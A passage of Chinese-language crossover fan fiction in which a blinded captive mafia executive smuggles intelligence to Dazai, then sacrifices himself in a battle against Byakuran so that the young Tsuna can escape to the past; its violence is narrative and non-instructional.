日本其实没有下雪,雪是白兰杰索搞出来的,因为自认为和雾岛光希很合适,白兰就动了下手脚,还在入江正一面前问“怎么样?我是不是很浪漫?” 入江正一面容扭曲。 白兰杰索没在雾岛光希身上找到任何可以向外发送信号的装置,他疑虑自己是不是多心的同时,又觉得雾岛光希不至于真的蠢到自投罗网,于是坐在床边一盯就是一个小时。 盯到最后,白兰回过神来,自己都笑了。 “好吧。”白兰说,“光希君,明天见。” 床上的人的呼吸依旧很浅。 十年前,沢田,彭格列指环,六吊花,铃兰。 太宰治写下这样的情报,不情不愿地告诉了森鸥外。 “你是怎么知道的?”中原中也不解。 “白兰需要ghost,不会让光希君死掉。”太宰治低着眼说,墨水在纸上晕开,“所以他会让晴治好光希的伤势,晴的作用下,光希连疤也不会留下。” “是呼吸。”太宰治道,“传感器埋在光希的伤口里,白兰君自己把线索断了,他找不到的。” 中原中也觉着不可思议。太宰这家伙一天前明明也不知道雾岛光希的计划,怎么就突然跟上了雾岛光希的思路,并能做到完美的配合了。 “是兄弟啊。”尾崎红叶感慨。 太宰治没心情反驳她,这种游戏,雾岛光希和太宰治以前经常玩。 真是的。 少年侧过脸,看向窗外忽然飘起的大雪。 他还没和光希分开这么远过呢—— 作者有话说:*明后天一口气更完[墨镜] 第54章 松田阵平对于雾岛光希究竟去做了什么一无所知。降谷零在咖啡厅那请了很长时间的假,日本的天然气爆/炸事件越来越多,多到松田阵平一看就知道不对劲。 “这个……那个嘛……雾岛他……总之就是……”鹤川警视对于解释雾岛光希的去向摸不着头脑,他自己也不是很清楚雾岛光希去了哪里,被问多了,就气急败坏地说一句,“你们管他去哪啦!” 雾岛光希在港口黑手党。 天然气爆/炸案发生的最密集的场所就是夜半时分的横滨。 结束一天的工作后,松田阵平拎起放在椅背上的外套,本想去超市买点东西,结果却在公园的灌木丛里看到鬼鬼祟祟的三个脑袋。 山本爱理严肃:“听说了吗?” 杉原千佳更严肃:“啊,老大因为想不出新的歌词,又要拿我们出气了。” 山本爱理:“……” 山本爱理:“谁和你说这个啊!” 偶像三人组此刻十分没有形象地蹲着,杉原千佳被吓得捂住耳朵,听立花真理在身边分析道:“雾岛先生被密鲁菲奥雷的首领带走了。” 山本爱理:“密鲁菲奥雷的首领抓雾岛先生做什么?” 杉原千佳:“一定是因为和我一样崇拜雾岛先生。” 立花真理:“据说密鲁菲奥雷里没有第二个人能接触到雾岛先生,我上次和在密鲁菲奥雷工作的粉丝聊了一下,听说他们首领还会让厨房专门做雾岛先生喜欢吃的东西。” 杉原千佳大惊失色:“这不就是我上次看到小说里的——” “你们三个。”松田阵平的声音从他们头顶上传来,“知道给别人造谣是犯法的吗?” 山本爱理和杉原千佳一脸警觉,只有立花真理看到松田阵平眼前一亮,认出了松田阵平是谁。 “喔!雾岛先生上次的手下!” ——虽然从根本上就认错了。 “是真的啊。”立花真理说,“你不是雾岛先生的手下吗?怎么消息比我们还落后。” 松田阵平摘下墨镜:“调去其他部门了。最近出差刚回来。” “那你们前干部叛变,袭击雾岛先生的事你也不知道?”立花真理狐疑,“你是假粉丝啊?” “等等,好像不对劲。”山本爱理戒备道,“提问,雾岛先生最爱看的书是哪本?” 松田阵平挑眉:“俄狄浦斯王?” 松田阵平是随口一说的,然而山本爱理和杉原千佳对视一眼,不约而同地松了口气,对立花真理比了个大拇指:“他是自己人。” 喂,你们的验证手段太儿戏了吧? “能在一百多人的包围下活下来,还有力气袭击密鲁菲奥雷的基地,雾岛先生不愧是黑手党中的黑手党。”立花真理崇拜道,“不过因为雾岛先生被带走,港口黑手党那边的气氛挺差的,不知道是因为有那个太宰治在,还是被鼓舞了士气,最近几次和密鲁菲奥雷交手,似乎都占了上风。” 太宰治? 松田阵平隐约在哪听过这个名字,可一时半会想不起来。 不过根据他们的说辞,松田阵平并不觉得雾岛光希是在好不容易脱离包围后,还脑袋一热,趁热打铁地突袭别人总部的人。如果平衡是在雾岛光希被抓后才被打破的,那大概就是雾岛用了什么办法,把消息传递了出来。 “密鲁菲奥雷这个名字怎么这么奇怪。”松田阵平语气自然地问他们。 “……你是去北极出差吗?”杉原千佳痛心疾首,“连这都不知道,你是靠得什么成为雾岛先生的部下的?” 松田阵平面不改色:“脸。” 偶像三人组再次陷入了沉默。她们看着面前的松田阵平,半晌打消了怀疑,很轻易地就接受了这个事实。 “该死的帅哥。”杉原千佳点了根烟,“在去泰国以前,我也是很帅的。” “告诉你也无所谓,密鲁菲奥雷就是——” “松田警官?”少年侦探团背着书包,好奇地看向站在灌木丛后的松田阵平,“你怎么在那里?是有案子吗?” 松田,警官。 田,警官。 警官…… 松田阵平倒是不在意自己身份被拆穿的事,他感受到三人近乎仇恨的注视,亮出自己的警官证。 “好了。”松田阵平说,“把你们知道的都告诉我,不然下次见到雾岛,我就告诉他你们出卖他的事。” “……”- 雾岛光希压根不知道外面都传成什么样了。传感器埋在接近心脏的位置,因为不是靠正式手术放进去的,之后的战斗多少也造成了些污染,加上那东西是个异物,雾岛光希这几天发起了低烧。 由于被白兰杰索发现就可能会露馅,雾岛光希没表现出异常,依旧每天和白兰杰索的各种招数缠斗着,并将情报传递给太宰治。 【骨头都被捏碎了,光希君的意志力真是惊人】 白兰杰索这几天彻底把自己的办公场所搬进了雾岛光希的房间,大概是觉得有趣,他本来只计划在日本待几天,但现在就算铃兰给他打电话催他回去,白兰也是敷衍两句,撑着脸瞧着被[白捏手]放开的雾岛光希。 [白捏手]是白兰杰索用火炎制造的巨大透明手掌,白兰杰索本来打算用它捏碎远道而来的十四岁的沢田纲吉的骨头,没想到白龙败北得太快,他只能先用在了雾岛光希身上。 “十四岁的纲吉君来了哦。”白兰杰索这样对雾岛光希说道,“我本来是打算让石榴去袭击他们的基地,再顺便把你哥哥杀掉的,结果他们早就知道了石榴的招数——” 白兰杰索的视线从小口地喘着气的雾岛光希身上扫过。 【藏在哪了?】 因为是白兰杰索在其他世界里从没碰到的情况,白兰杰索虽然有些生气,但还是感到了前所未有的愉快。 雾岛光希面不改色地将自己断掉的手接了回去:“倒霉会传染,谁让你天天待在这里。” 白兰杰索哈哈大笑。 “真是的。”白兰杰索笑眯眯地蹲在雾岛光希面前,“阿莱西奥,我们为什么非得用日语交流?” 阿莱西奥这个名字一喊出来,就连白兰杰索自己也愣住了。 ghost的感情确确实实在影响着他,这种影响随着他和雾岛光希待的时间越长,作用也就越大。 “哦~”雾岛光希毫不留情地嘲笑道,“被自己的工具影响,你也不过如此嘛。” 白兰杰索撑着脸,他看着雾岛光希那双找不到焦距的眼睛,脸上的笑容不变,眼底的笑意却渐渐消失了。 雾岛光希十分擅长激怒人,尤其是在知道白兰杰索心中所想的情况下。 他和太宰治一样,其实一点也不喜欢痛苦,可有些情报就是得通过激怒白兰才能准确得到。雾岛光希的日子一眼看不到头,偶尔撑不下去的时候,就会在心里默念太宰和中也的名字,又或者是假装自己又回到了那个美梦里。 不过到了后来,由于担心这个行为会令接受信号的太宰感到焦虑,雾岛光希就连自我催眠的安慰措施也不做了。 【他撑不了多久了】 雾岛光希的眼睛看不见,也感知不到时间,他不知道外面的时间过去多久,晴的火炎只能治疗外伤,随着青年饭量的减少,白兰杰索不得不让厨房去做雾岛光希喜欢吃的东西。 “光希君。”白兰杰索百无聊赖道,“你要是再不吃饭,我就把厨师的手指给你端上来。” 雾岛光希刚吐过一次,敷衍地回:“我又不是故意不吃的。” 白兰:【要不是知道这点,我就把饭给他灌进去】 白兰杰索觉得自己仿佛养了只毒蛇。花纹鲜艳,鳞片也很漂亮,为了安全,白兰杰索拔掉了它的牙齿,结果小蛇郁郁寡欢,白兰杰索反倒还得反过来哄他开心。 于是白兰杰索更怨恨了点ghost。他认为另一个自己实在没品味,没品味也就算了,狠手也下不了,就算到了这种地步,也不舍得像他对待尤尼一样对此他的小宠物。 当然,雾岛光希的战斗力和尤尼不是一个水准。白兰更喜欢尤尼那种可爱的女孩子,而不是这几天把他的白龙打得一见他就躲在自己后面的魔鬼。 ‘魔鬼’说:“我想吃牛奶拌饭。” 白兰杰索道:“你可以要求再低一点吗。” 雾岛光希闻言,又嘲笑他:“你是不是因为打不过十四岁的小朋友,所以心情不好?” 白兰杰索现在已经发现了这人是故意激怒自己的。密鲁菲奥雷的首领底线越来越低,他凝视着面前腕骨愈发清晰的雾岛光希,听到这话也只是敷衍地说了句“十四岁的纲吉君对我而言没有一点威胁”。 雾岛光希:“不信。” 白兰杰索:“那下次我也把纲吉君的脑袋拿来带给你。” 后来牛奶拌饭是六道骸扮成的雷欧送来的。白兰故意给了他们两个相处的机会,想看看雾岛光希究竟是怎么传递的情报,然而雷欧在将东西在餐桌上放下后,就恭敬地退到一边,只是在看着雾岛光希吃饭而已。 雾岛光希吃得很慢,他其实也不喜欢吃牛奶拌饭。雾岛光希认为牛奶拌饭的搭配很怪,只是山本武喜欢吃,他才想尝尝这东西到底是什么味道。 六道骸注视着他的动作,发现短短半个月的时间,雾岛光希又清减了不少。他的银发长到腰部,发尾沾了些花瓣,那大概是他之前和白兰打架时留下的,白兰杰索故意没有告诉他,也不知道懒得说,还是在这方面有着奇怪的恶趣味。 雾岛光希的衣服每天都会换。他的洁癖在这半个月里越来越严重,六道骸还记得他十三岁时还能和沢田纲吉他们一起在山上和棕熊搏斗,傍晚时分浑身脏兮兮地回来,沢田纲吉在旁边安慰他“没关系的,光希同学,我也打不过Reborn”,结果还不如山本武的一句“狱寺才是最脏的”有用。 六道骸和雾岛光希没有什么直接的交集。 他们唯一的交集就是雾岛光希在六道骸扮演柔弱时毫不留情地戳穿了他,理由是黑曜的校服没有品味,气得六道骸立马不装了,要用三叉戟叉他。 雾岛光希说并盛的校服才是最好看的,黑曜的校服绿油油,像在绿皮火车上卖零食的。 六道骸笑容灿烂,让他道歉,否则就用幻术把他绑在绿皮火车上,感受速度与激情。 打起来的结局是两败俱伤。 六道骸本以为他会和沢田纲吉他们待在一起。雾岛光希的未来不是加入瓦里安,就是成为门外顾问,没想到再听说他的消息,会是成了港口黑手党的干部。 【邪恶的黑手党】 雾岛光希慢条斯理,听到六道骸的心声也不恼,神奇地觉得他和降谷零能坐一桌。 条子和凤梨。 雾岛光希想了想,自己被那个画面逗笑了。 “见到雷欧君有这么开心吗?” 他一笑,白兰杰索就立即把雷欧赶走了。 “白兰先生。”雾岛光希建议他,“有病就得治。” 白兰杰索:“你还是第一个当着我的面说我有病的。” 雾岛光希更觉得他有病了。 白兰杰索:“所以你是怎么做到令ghost有自己的意识的。” 雾岛光希:“我为什么要告诉你。” 白兰杰索:“你认识的Reborn君死了哦。” 听到Reborn的死讯,雾岛光希的表情依旧没有动容。彩虹之子几乎全灭,世界上最强的七人陨落,不论是谁听了都会陷入沉默。 然而雾岛光希只是说:“我以前以为他是幽灵,话比较多。” 【光希君小时候话多吗?】 要不是ghost,白兰杰索还真不关心雾岛光希小时候是怎么样的。毕竟雾岛光希又不是七的三次方的构成之一,白兰杰索之所以到了现在也不杀他,不过是怕ghost真和自己反目罢了。 【港口黑手党的保密工作做得真好】 白兰杰索敷衍地想到。 【上个星期派去接ghost的卧底也被太宰君干掉了】 雾岛光希的饭只吃了两勺。 雾岛光希听着白兰杰索的心声,放下勺子:“白兰君。”他说,“我是瞎了,不是失聪了,我听得到你把东西倒在我的食物里。” 是棉花糖。 白兰杰索眨眨眼,听到这句话也毫无忏悔之意:“吃点甜的不好吗。” 你完全被ghost那神经病影响了吧。往饭里拌棉花糖,这和在披萨上洒意大利面有什么区别。 “白兰大人。”门外有白魔咒在敲门,“彭格列的人入侵基地了,云雀恭弥正在和幻骑士大人对决。” 【哦】 白兰杰索若有所思。 【纲吉君的计划已经进行到把十年前的云雀君换过来了吗?】 白兰杰索起身,他本来是没打算亲自动手,让幻骑士陪他们玩玩的,但雾岛光希的存在令白兰杰索隐隐感到不安,他现在有点想先不讲武德,趁彭格列的其他人被分散,先把威胁最大的十年前的云雀恭弥杀了。 白兰杰索起身,看向餐桌对面的雾岛光希:“阿莱西奥,你没有其他话对我说吗?” 他又叫了阿莱西奥这个名字。 雾岛光希知道自己该行动了。 “没有。”雾岛光希道,咀嚼棉花糖的动作很慢,草莓甜腻的味道在口腔里弥漫,“白兰先生,我们是敌人,能有什么话好说的。” 狗嘴里吐不出象牙。 白兰杰索心想:【光希君说的话,真是没一句人爱听的】 第55章 十四岁的沢田纲吉还不会使用彭格列戒指真正的力量,就连[XBURNER]这个招数之所以能使用,也是因为原本作为密鲁菲奥雷的工程师之一的斯帕纳在帮他。 入江正一发现了不对。根据白兰最近的行踪,他发现白兰和ghost就算被隔开,似乎也能通过某种方式交流。 ghost拥有人的感情的后果就是,入江正一有意无意地和白兰杰索提起他们以前常玩的Choice游戏时,白兰说ghost认为还是直接先拿到彭格列指环为妙,小正要是想玩,他可以在抓到十四岁的纲吉君后再和小正回忆往昔。 这可不妙。 入江正一强撑着,问白兰,ghost不是背叛了你吗,怎么还听取他的意见? 白兰杰索笑眯眯地回,那小正不是也背叛了我?我可没立即杀死小正。 入江正一说不出话,白兰和ghost的搭配确实恐怖,入江正一后背的衣服被冷汗浸湿,知道事情再也没有回旋的余地。 他和二十四岁的沢田纲吉制定的计划,全都是围绕着白兰的玩心来的,ghost的理性取代了这点,入江正一的大脑迅速转动,直到狼狈地和斯帕纳会合,也想不出能安全的把这群十四岁的小孩子带回十年前的办法。 要继承彭格列指环真正的力量,沢田纲吉他们就必须得再回一趟十年前,参与彭格列初代的试炼。 “要完蛋了。”入江正一心如死灰,胃疼得搅在一起。 结果反倒还得让十四岁一头雾水的沢田纲吉反过来安慰他:“那个,入江先生,虽然不知道你为什么突然到了我们这边……但你手上不是带了药吗?” 那是雾岛光希以前给入江正一的胃药。里面的药实际上已经寥寥无几了,入江正一需要用疼痛令自己保持清醒,就像他知道雾岛光希现在的情况也许比自己更糟。 “雾岛先生也暂时脱不了身。” 沉默半晌,入江正一沉重地说出一句,开始冷静地分析局势。 “因为ghost不在复仇者监狱,所以也不能借白兰派人去复仇者监狱接ghost的时候,将真正的六道先生从复仇者监狱里换出来……” 沢田纲吉瞳孔地震:“诶?骸十年后也还在监狱里吗?” 入江正一:“也就是说,现在唯一拥有十年后的力量的六道先生和雾岛先生都不能直接帮到我们,白兰早就防备着我,想必也防备着六道先生。” 沢田纲吉:……话说回来,骸的真名真的是这个? “雾岛先生是指光希同学?”沢田纲吉总算抓住了重点。 他的身上穿着斯帕纳借给他的工装,由于斯帕纳的工装给他实在有些大,反倒显得十四岁的沢田纲吉更矮了点。 “光希同学也在这里?” 对于十四岁的沢田纲吉,这种欣喜是肯定的。毕竟在他原本的世界里,雾岛光希被带走后就再也没回来,沢田纲吉后知后觉地发现自己封印了对方的记忆,狱寺说光希离开并盛后,阴差阳错地去了横滨,他加入了另一个黑手党,也许他们以后就是敌人了。 沢田纲吉从没想过自己会和光希同学变成敌人。 “纲吉君这么在意我的阿莱西奥做什么?” 熟悉的声音从身后传来。下一秒。入江正一不由自主地睁大了眼,他的瞳孔扩散,再扩散,手里的药盒掉在地上,滚了两圈,滚到白兰杰索的脚边。 原本只是个普通大学生,入江正一不得不鼓起勇气,回过头去直面自己这位曾经的朋友。进入死气状态的沢田纲吉握住白龙变成的箭——只差一秒,白龙就差点穿透力入江正一的心脏。 “你不是……”入江正一嗫嚅着,意识到白兰真的会杀了自己。 “我不是说自己要去找云雀君?”白兰抬手,任由挣脱沢田纲吉的白龙缠绕回自己的手上,“小正,你真是一点也不了解我。” “十代目!” “阿纲!” 接连赶到的是山本武和狱寺隼人,他们的身上多多少少都受了些伤,意外见到白兰杰索在这里,只能强忍疼痛,再次拿出自己的武器。 然而既没继承指环的力量,又被赶鸭子上架,十四岁的小孩子哪里真的打得过现在的白兰。 “那谁了解你?” 戴着帽子的少年松手,将受伤严重的笹川了平放在地上。 白兰杰索转过身,看到门口一大一小的两道影子。 “其实我也可以拿。”魏尔伦说。 中原中也:“不用你。” 魏尔伦又伤心了。 他现在介于能和弟弟并肩作战,弟弟又完全不理他的高兴和伤心之间,但转念一想,自己的处境比起自己的某位同事至少还算正常,魏尔伦就又勉强忽略掉了后者。 “哟,彭格列。”中原中也抬了下帽檐,对着还不认识自己的沢田纲吉道,“奉我们干部的命令,我来协助你们撤退了。”- 中原中也那边打得热火朝天的,太宰治却在这边撬开了锁。黑手党之间的斗争一旦波及到普通人,复仇者便会参与其中——这条规定对白兰杰索而言并不是完全不适用的。太宰治这些天故意把日本的斗争弄得人尽皆知,他逼迫着全世界都在追寻其中的真相,按照和雾岛光希约定,将ghost从横滨引到了这里。 然而从走进那个房间,到接到雾岛光希,再到陪同他往血腥味最浓郁的地方走去,太宰治都没有和雾岛光希说一句话。 整个战场没有多少大人,真正的六道骸还泡在监狱的水牢里,靠着附身在别人身上战斗,他既发挥不出多少实力,火炎也被ghost吸走了大半。 斯库瓦罗挥舞着剑,让沢田纲吉他们快走。尤尼好不容易找回来自己的灵魂,她为自己被操纵的时候害死了数不清的家族成员而感到痛苦,却依旧紧紧地抱着死去的彩虹之子的奶嘴,不肯将它们交给白兰杰索。 “光希。” 在这样混乱的场面中,太宰治轻轻地说了一句。 “带上我不行么。” 雾岛光希的眼睛连光都捕捉不到了,嗅觉和听觉却比常人敏锐一些。 雾岛光希没有回答太宰治的问题,只是笑着说了句:“你怎么闻起来不开心?” 【我有什么好开心的】 太宰治记起刚刚那个房间的摆设。 尽管每天都有专人整理,但墙上和地上残留着打斗的痕迹,太宰治只瞟了一眼,就大致能想象出雾岛光希这些天在这里都做了什么。 【我和光希不一样,我又不相信沢田君】 沢田纲吉选择死亡。 尤尼选择燃烧她自己的生命,去复活彩虹之子。 他们赌的无非是十四岁的沢田纲吉能带来和其他几百个被毁灭了的世界的可能性,赌的白兰杰索失败,玛雷指环将时间线前推,回到一切都还没有发生的时候。 “太宰。”雾岛光希又执着地问了他一遍,“你为什么不开心?” 这是萩原研二以前经常问雾岛光希的话。 他问一遍还不够,只要雾岛光希不回答,萩原研二甚至能问他一个晚上。 雾岛光希曾经以为,是萩原研二话太密集,直到从那个幻镜里出来,才发现是因为萩原研二试图让他把心里的某些话说出来。 十六岁的太宰治和雾岛光希类似。 他感到恐慌就不爱说话,感到害怕的时候就竖起尖锐的刺,感到开心的时候更是会想到以后的失望和痛苦。太宰治从小就活得累,他说自己不想活了,除了雾岛光希,没人把他的话当回事。 就算到了现在,太宰治也依旧没有单纯属于他自己的部下。 以太宰治的聪明,他明明能做到和白兰一样,通过摧毁别人的生活,施舍一点微不足道的善意,去令那些无知的人们对他死心塌地,可太宰治没有。 雾岛光希从太宰治九岁起,就说太宰治聪明又可爱,直到之前碰到织田作,后者若有所思地说出一句“是吗”,雾岛光希也才找到第一个把自己的话当回事的人。 太宰治说:“光希不是能听到我的心声吗?” 雾岛光希笑了笑,他仿佛早就预料到了这件事,回:“我想听你亲口和我说。” “这次是十六天。”太宰治道,“接下来我又得等光希多久?” 【一百六十天?六百天?】 【我不要】 “带我一起走吧,光希。”太宰治看着远处的中原中也道,“中也有魏尔伦,他一个人也可以,我告诉了他旗会的事情,他现在恨不得杀了我,就算我去当首领,他也不会听我的话。” “中也有自己的思想。”雾岛光希若有所思,“这是他能当好黑手党的原因。” 【再给我一点时间,我会想出让ghost和白兰……】 “太宰。”雾岛光希打断他的话,因为看不见,只能用手触碰太宰治的脸颊,去描摹出少年的表情,“听好了,我不相信自己的运气,之所以把接下来港口黑手党的事交给你,是因为我只相信你。” 太宰治别开了脸。 可就算他别开了脸,雾岛光希也感到了指尖的湿润。 雾岛光希收回了手,如白兰杰索所说,这的确是个很寒冷的冬天。 雪花落在ghost的手背上,巨大的蓝色火炎擦着他的脸颊而过,ghost却没有要吸收的意思。他就这么站在原地,看着太宰治身边的雾岛光希,任由那样不讲道理的雨之火炎将身后的白魔咒吞没。 “加我一个?”雾岛光希按照声音的方向,对六道骸说道。 六道骸挑眉:“不和小朋友打声招呼吗?” “这可不是快被打死的绿皮火车售货员该说的话。” 六道骸面带微笑。 “雾岛光希。”他说,“邪恶的黑手党,我果然还是讨厌你。” “嘿。”雾岛光希来了劲,“为黑手党0工资打了十年功的劳模,要不要加入港口黑手党?” 【他怎么……】 ghost的心声几乎和斯库瓦罗的心声重叠在了一起。 【阿莱西奥的火炎,怎么跟他快死了一样】 六道骸收回看他的目光:“你的那个戴帽子的部下还真是恐怖,白兰暂时被他绊住了手脚,过来大概还要五分钟。” 雾岛光希:“所以你其实内心早就认为你是彭格列的人了。” 六道骸深吸一口气,再开口时,这次话是对斯库瓦罗说的:“斯贝尔比斯库瓦罗,管管你的好弟弟。” 雾岛光希召唤了雨鹰,他感到[帕比]的羽毛蹭过自己的皮肤,轻描淡写地回了句:“你向斯库瓦罗求助是没用的,他上次还想杀了我。” 斯库瓦罗难得安静。他握着带血的长剑,由于被吸走了火炎而面色苍白,此时连一句话也说不出来。 “不要。”反而是ghost颤抖着,说出一句,“不应该是这样的。” 真正的六吊花注意到了地面的情况,铃兰眯起眼,她一向很讨厌分走白兰注意的ghost和雾岛光希,刚要给他点教训,手臂就被雨鹰的羽毛擦伤了。 紧接着,铃兰的手变成水,由于爆/炸的冲击,而从半空中摔到了地上,小春和京子尖叫一声,总算从铃兰的能力中得以喘息。 黑色的异能展开,遮蔽了落下的雪花。 “很有意思的一点是,白兰说我是你养的宠物。” 尤尼怀中那颗原本属于玛蒙的奶嘴上突然出现了倒计时,她微微愣住,还不知道那是什么东西,就看到之前被阻拦的白兰落在了地上,面色不善地朝她伸出手:“尤尼酱,快把东西给我。” 尤尼当然不可能把彩虹之子的东西交给他。 白兰杰索伸手去抢,却被斯库瓦罗横刀挡住。 二代剑帝早就该丧失了行动能力,斯库瓦罗的意志惊人,在这时竟然反倒又燃起了火炎。 白兰杰索眯了下眼,只思索了两秒最快从尤尼手里拿到东西的方案,随后将目光投向用异能隔绝了外界的雾岛光希。 脑中有什么闪过。 白兰杰索用白指击穿雾岛光希的心脏,拿到那枚传感器的时候,面无表情地把它捏碎了。 “第二点有意思的是。”雾岛光希的身影消散,出现在白兰杰索身后时,抓住他的翅膀,狠狠地往前踹了一脚,“我心脏长的位置和别人不太一样。” 白兰杰索的翅膀被硬生生地扯了下来。 尽管知道雾岛光希是故意激怒自己,白兰杰索还是生气了。 【他想让我在ghost面前杀了他?】 “阿莱西奥!”十四岁的狱寺隼人不知道什么时候已经跑到了传送装置的正下方,他见雾岛光希回头,有些不可置信地认出二十三岁的雾岛光希,就是自己认识的阿莱西奥。 雾岛光希有些遗憾,他看不见狱寺隼人的样子。 “拦住他们!”忌惮于雾岛光希会直接毁掉彩虹之子的奶嘴,或者通过爆/炸杀了尤尼,白兰对六吊花这样命令道。 “可恶的港口黑手党!”然而不管是铃兰还是石榴,他们的注意力放在了将白兰的翅膀扔在地上的雾岛光希身上,“竟敢对白兰大人做出这种事!” 【不对,他是为了……】 白兰反应过来,他试图阻止ghost,然而ghost自顾自地提前了计划,在桔梗面前吸走了铃兰和石榴的火炎。 修罗开闸后,铃兰和石榴本身会变成匣武器,吸走他们的火炎,和杀了他们也没有什么区别。 “你是蠢货吗。”白兰向ghost问道。 “第三点有趣的是。”雾岛光希笑道,“以白兰被你影响的程度看,ghost,你该不会是喜欢我吧?” ghost的世界安静下来。 他想起自己刚被白兰带到这个世界的时候,不知道怎样说话,也感受不到感情,他存在的意义就是白兰打败沢田纲吉的工具,阴差阳错地走错了地方,阴差阳错地遇到了阿莱西奥。 阿莱西奥那时候还是小孩子,他没有什么玩具,也没有什么朋友,碰见他之后,就跟照顾小猫小狗一样照顾他。 阿莱西奥说要穿衣服,ghost就按照他的穿衣风格,像模像样地给自己用火炎捏了个衣服。 阿莱西奥说他的头发太长,遮住眼睛了,ghost就跟得到命令似的,一刀把自己的刘海剪了,阿莱西奥愣了愣,凑到他的跟前,很兴奋地说“你的眼睛就跟花园里的紫罗兰一样,是紫色的!” 阿莱西奥问他叫什么名字,ghost不记得自己有名字,他回答不出来,就跟幽灵一样跟着阿莱西奥。 于是阿莱西奥说,既然大家都说你是幽灵,那我们就来玩捉迷藏吧。 阿莱西奥的家很大,ghost一直往前走,走着走着就迷了路。 那天的意大利也在下雪,没人给ghost补充火炎,五岁的ghost就抱着膝盖,乖巧地坐在树下,从天亮等到天黑,一点一点地看着自己的手掌变得越来越透明。 雪和阿莱西奥的银发一起落在了他的掌心。 阿莱西奥的脸被冻得通红,他弯下腰,朝抬头看着自己的ghost伸出手。 阿莱西奥说,我找了你好久,你怎么跑到加百洛涅的领地来了。 ghost问他,从家里到加百洛涅,要走多久? 阿莱西奥眨了眨眼,没回答这个问题,灰色的眼睛一点一点地亮起来。 【“哇!”】小朋友道,【“你觉得那是你的家吗?那我们就是家人了?”】 家人。 ghost又学会了一个新词。 五岁的ghost不需要吃饭,也不需要睡觉,他不是真正意义上的人类,由于没有其他人能看到他,每天唯一能做的事就是观察阿莱西奥,然后模仿他的行为。 武器是不应该有智慧的。 偏偏阿莱西奥赋予了他人类的尊严。 ghost以前有多爱他,发现阿莱西奥的注意力被分走后,就有多恨他。 嫉妒是阿莱西奥教会他的,憎恨也是阿莱西奥教会他的。 明明只要幸福没有降临过他的手心,就不会受伤。 可教会他一切的是阿莱西奥,为什么偏偏只有阿莱西奥得到幸福? 传送装置开启了,可白兰被雾岛光希的异能挡着,只能眼睁睁地看着被山本武背着的沢田纲吉缓缓醒来,即将被送往十年前的世界参与试炼。 白兰杰索嗅到了失败的预兆。 为了阻止沢田纲吉,他必须先杀了雾岛光希。 【反正就算我不杀了光希君,他这样随意地使用异能,死亡也是迟早的事】 雾岛光希的眉眼弯弯,露出了真心实意的笑容。 尤尼看着怀里彩虹之子的奶嘴,忽然明白了他的意思。 蓝色的火炎顺着雾岛光希皮肤的纹路在爬,ghost睁大眼睛,看着他朝自己伸出手,于是也下意识地想握住雾岛光希的手。 白兰阻止了他。 砰的一声,和雾岛光希以前爱搞的爆/炸不同,这更像是每次打开香槟的声音。 黑色的球体逐渐变得透明,看到这一幕的中原中也试图用异能将雾岛光希的异能打破,强制性地将他扯出来,可子弹擦着他的手而过,中原中也愤怒地回头,对着朝自己举起枪的太宰治说:“太宰!你个混蛋!那是雾岛啊!” 太宰治的人间失格是无效化。 他比任何人都能更轻易地阻止雾岛光希。 他可以更早地把雾岛光希拽出来,可太宰治只是耐心地等在一边,像具尸体一样,执行雾岛光希的命令。 “那沢田君就要死在这了。”太宰治用令自己都不可置信的,残忍又冷静的声音说,“ghost和白兰还是会联手,中也,你要违背他的命令吗。” 【可那是雾岛啊】 这十六天里,港口黑手党受到袭击,森鸥外下落不明。太宰治拿到银之手谕,成为代理首领。 以为自己能将雾岛光希带回去,中原中也直到现在才发现那个计划的真相。他咬着牙,面部的肌肉痉挛着,余光却捕捉到和雾岛光希有些相像的影子。 斯库瓦罗自始至终都没说话。 他本就因为从石榴手里保护年轻的彭格列们受了重伤,灰蓝色的眼睛倒映出雾岛光希一寸一寸开裂的身体。 “我的名字是阿莱西奥斯库瓦罗!” 斯库瓦罗看到背对着雾岛光希大声喊了出来,火炎以压倒性的形式扑向白兰杰索。 他的银发被飓风吹得散乱,眼睛里没有一点光彩,却被蓝色的火炎照得很亮。 ——阿莱西奥,你怎么总是给妈妈带来不幸。 “我的异能既不恐怖,也不会带来不幸!这是上天的馈赠!我是靠自己的意志成为的黑手党!” 十四岁的沢田纲吉嘴唇动了动,超直感在叫嚣着不安,斯库瓦罗却终于忍不住,回头对他喊了声“走啊!” ——阿莱西奥,你是跟屁虫吗,成天哥哥哥哥地叫,像什么样子? “我的名字是阿莱西奥,这是我那作为剑术天才的哥哥给我取的名字!” ——你哥哥真的是最厉害的? ——我觉得他是最厉害的,就是最厉害的! 这一切就跟玩笑一样。 不管是阿莱西奥的人生,还是苦练了那么多年剑,结果却输给了学剑才几个星期的山本武的斯库瓦罗。 雾岛光希咧开唇角,半个身子已经变成蝴蝶消散了:“才不是你的小宠物!!” ghost痛苦到说不出一句话。 阿莱西奥在他的面前选择了自/爆,白兰试图通过他获取火炎阻挡,ghost却拒绝为白兰提供帮助。 他和白兰是同一个人,此刻却开始怨恨白兰阻止了他握住阿莱西奥刚刚朝他伸出的手。 真六吊花死了两个,剩下的几人因为发现了白兰想杀死他们的事实而产生了动摇。 白兰身受重伤,ghost和白兰反目成仇,回到十年前和平的并盛,十四岁的沢田纲吉还有些恍惚。 他看着落在自己手上,扇动着翅膀的蝴蝶,后知后觉地转过头去,问Reborn“你是不是早就知道了光希同学要做这种事?” Reborn问他:“从结果来看,难道不好吗?” 沢田纲吉的语气里难得沾了愤怒:“牺牲同伴换来的喘息,到底哪里好了!” Reborn面不改色,反问他:“光希的命是命,那其他因为这场战争而死去的人,就不配拥有名字了吗?” 那双黑漆漆的眼睛转过来。Reborn直直地看向自己年轻的学生:“每个人都做好了死去的觉悟,蠢纲,光希和每天早上路过你家门口的路人,对你来说有什么区别?” 沢田纲吉的压力很大。 他才十四岁,结果一觉醒来,却有人告诉他,世界已经被毁灭了很多次,这一次,大家能不能活下来,就全靠你一个了。 沢田纲吉握紧了拳头,身体在发抖。 “不过光希通过他捡来的弟弟,让我带了话给你。” [你送的书我一直有好好珍藏] ——十年后的我,是怎样的人? ——我不像山本君,既不受欢迎,又没有运动细胞,也没有狱寺君那样聪明的脑袋。 ——光希同学很厉害,要是我也能成为像光希同学一样的人就好了。 [你才十四岁,想逃跑也没关系,感到害怕也没关系。但因为想要保护同伴的这份决心,你从一开始就已经注定了与众不同] [沢田君,你十四岁的时候,问我我们不是朋友吗,我说不是,我那时候不是真心的] “阿纲。”山本武按住沢田纲吉的肩膀。 沢田纲吉停止了颤抖。 他猛地反应过来,自己不是一个人。自己还有山本,还有狱寺,还有很多陪着自己玩所谓的“家族游戏”的同伴。 